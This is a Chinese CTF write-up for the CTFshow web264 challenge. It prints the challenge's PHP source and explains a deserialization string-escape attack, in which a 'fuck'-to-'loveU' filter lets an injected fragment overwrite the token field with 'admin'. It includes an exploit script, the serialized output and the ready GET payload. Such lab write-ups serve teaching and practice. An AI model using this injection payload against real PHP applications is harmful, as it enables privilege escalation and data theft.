CTFshow 反序列化 web264
目录
- 源码
- 思路
- 题解
- 总结
源码
index.php
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38 |
# @message.php |这里给了提示
# @email: h1xa@ctfer.com |
# @link: https://ctfer.com*/error_reporting(0);
session_start();class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));$_SESSION['msg']=base64_encode($umsg);echo 'Your message has been sent';
}highlight_file(__FILE__);
message.php
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
session_start();
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_SESSION['msg']));if($msg->token=='admin'){echo $flag;}
}
思路
典型的字符逃逸问题
fuck每转一次love就会逃逸出一个字符
先直接拿到序列化结果
<?php
class message{public $from;public $msg;public $to='a';public $token='user';
}
$msg = new message();
$umsg = serialize($msg);
echo $umsg;
//O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";s:1:"a";s:5:"token";s:4:"user";}
user要改成admin,要逃逸出来的部分实际上是";s:5:"token";s:5:"admin";}
,一共27个字符要转换27次
题解
exp
<?php
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
$f;
$m;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg;
//O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
index.php
get:?f=&m=&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
message.php
Cookie 加上 msg= xxx
总结
水题
CTFshow 反序列化 web264相关推荐
- CTFshow 反序列化 web266
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # ...
- CTFshow 反序列化 web259
目录 源码 思路 题解 总结 源码 <?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']); //vip can get f ...
- ctfshow 反序列化篇(下)
web267(yii框架) 开启靶机,是一个网站,试着搜索有没有重要信息.在这里发现是yii框架. 我们使用弱口令admin/admin就可以登录进来了,那就继续收集重要信息.在源代码中发现了重要注释 ...
- CTFshow 反序列化 web277
目录 源码 题解 总结 源码 查看源代码 提示pickle,得知考点是pickle反序列化 题解 exp 试了几次不能用bash,最后用了/bin/sh,因为环境里面没有装bash,得不到响应nc连上 ...
- CTFshow 反序列化 web261
目录 源码 思路 题解 总结 源码 <?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $passwor ...
- CTFshow 反序列化 web260
目录 源码 思路 题解 总结 源码 <?phperror_reporting(0); highlight_file(__FILE__); include('flag.php');if(preg_ ...
- CTFshow 反序列化 web262
目录 源码 思路 题解 解法一 直接构造类进行序列化 解法二 字符逃逸 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date ...
- CTFshow 反序列化 web263
目录 源码 思路 题解 总结 源码 也没有什么别的信息,扫一下目录,下载www.zip拿到源码 思路 知识点: php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处 ...
- CTFshow 反序列化 web258
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # ...
最新文章
- python新手项目-Python 的练手项目有哪些值得推荐?
- 面试时,当你有权提问时,别客气,这是个逆转的好机会(内容摘自Java Web轻量级开发面试教程)...
- 算法笔记(JavaScript版)——排序
- php maximum,解决PHP程序运行时:Fatal error: Maximum execution time of 30 seconds exceeded in的错误提示...
- 从濒临解散到浴火重生,OceanBase 这十年经历了什么?
- php开始页,页码从第四页开始怎么设置
- 程序员,别再无脑刷题了,这样学 Python,编程能力暴增!
- 阿尔法贝塔阀原理_臭氧投加在污水处理中的应用_美国阿尔法Alpha
- html生成器_这些文案生成器,你知道几个?
- apache-apollo Dockfile 镜像制作
- Multisim安装问题
- 贝叶斯网络、马尔可夫模型、马尔可夫过程、马尔可夫链、马尔可夫网络基本概念
- Motorola ME525 刷机教程
- 初学者学吉他推荐,别因选错吉他而前功尽弃
- 亲自动手写爬虫系列一、实现一个最简单爬虫
- 腾讯云手游安全MTP怎么样?腾讯云手游安全MTP值得入手吗?
- Imu_heading源码阅读(三)——Ransac_fitline部分
- BeanUtils.copyProperties 无法转换数据类型不同的数据
- 习题6-5 巡逻机器人(Patrol Robot, ACM/ICPC Hanoi 2006, UVa1600)
- UE4灰度图生成地图记录blender生成城市地形
热门文章
- 《代码大全》阅读笔记02
- 汇编第二章节检测2-1
- 2021年寒假将至,教育部致信中小学生家长的一封信:人生如长跑,起步忌冲刺,薄发需厚积
- 在eclipse中配置android ndk的自动编译环境builders
- oracle600错误,Oracle 导入数据报600错误
- python如何做一个数据库_Python创建一个新的Django项目(连接到MySQL数据库),python,新建,mysql...
- OSError:[Errno 13] Permission denied:'my_library' 问题解决方法
- Python按行输出文件内容具体解释及延伸
- Linux初学 - SSH
- 年薪50万美金的工程师到底牛在哪里?